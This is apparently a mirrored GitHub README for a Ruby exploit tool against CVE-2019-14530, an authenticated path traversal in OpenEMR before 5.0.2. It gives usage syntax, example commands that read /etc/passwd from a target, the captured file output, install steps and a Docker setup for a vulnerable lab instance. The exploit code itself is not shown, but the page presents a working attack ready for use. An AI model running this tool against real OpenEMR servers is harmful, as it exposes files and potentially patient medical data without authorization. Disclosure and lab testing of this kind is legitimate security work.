项目作者: sec-it

项目描述 :
OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
高级语言: Ruby
项目地址: git://github.com/sec-it/exploit-CVE-2019-14530.git
创建时间: 2021-06-30T08:59:57Z
项目社区:https://github.com/sec-it/exploit-CVE-2019-14530

开源协议:MIT License

下载


OpenEMR CVE-2019-14530 exploit

OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure

Exploit for CVE-2019-14530.

[EDB-50087] [PacketStorm]

Usage

  1. $ ruby exploit.rb -h
  2. OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
  3. Source: https://github.com/sec-it/exploit-CVE-2019-14530
  4. Usage:
  5. exploit.rb exploit <url> <filename> <username> <password> [--debug]
  6. exploit.rb -h | --help
  7. Options:
  8. <url> Root URL (base path) including HTTP scheme, port and root folder
  9. <filename> Filename of the file to be read
  10. <username> Username of the admin
  11. <password> Password of the admin
  12. --debug Display arguments
  13. -h, --help Show this screen
  14. Examples:
  15. exploit.rb exploit http://example.org/openemr /etc/passwd admin pass
  16. exploit.rb exploit https://example.org:5000/ /etc/passwd admin pas

Example

  1. $ ruby exploit.rb exploit http://172.21.0.2 /etc/passwd admin pass
  2. root:x:0:0:root:/root:/bin/ash
  3. bin:x:1:1:bin:/bin:/sbin/nologin
  4. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  5. adm:x:3:4:adm:/var/adm:/sbin/nologin
  6. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  7. sync:x:5:0:sync:/sbin:/bin/sync
  8. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  9. halt:x:7:0:halt:/sbin:/sbin/halt
  10. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  11. news:x:9:13:news:/usr/lib/news:/sbin/nologin
  12. uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
  13. operator:x:11:0:operator:/root:/bin/sh
  14. man:x:13:15:man:/usr/man:/sbin/nologin
  15. postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
  16. cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
  17. ftp:x:21:21::/var/lib/ftp:/sbin/nologin
  18. sshd:x:22:22:sshd:/dev/null:/sbin/nologin
  19. at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
  20. squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
  21. xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
  22. games:x:35:35:games:/usr/games:/sbin/nologin
  23. postgres:x:70:70::/var/lib/postgresql:/bin/sh
  24. cyrus:x:85:12::/usr/cyrus:/sbin/nologin
  25. vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
  26. ntp:x:123:123:NTP:/var/empty:/sbin/nologin
  27. smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
  28. guest:x:405:100:guest:/dev/null:/sbin/nologin
  29. nobody:x:65534:65534:nobody:/:/sbin/nologin
  30. apache:x:100:101:apache:/var/www:/sbin/nologin

Requirements

Example using gem:

  1. bundle install
  2. # or
  3. gem install httpx docopt

Docker deployment of the vulnerable software

Warning: of course this setup is not suited for production usage!

  1. $ sudo docker-compose up

Limitations

  • Read: of course you are reading with the web user permissions so don’t expect to read root files

References

This is a better re-write EDB-50037.

The vulnerability was found by Wezery.

Analysis of the original exploit and vulnerability: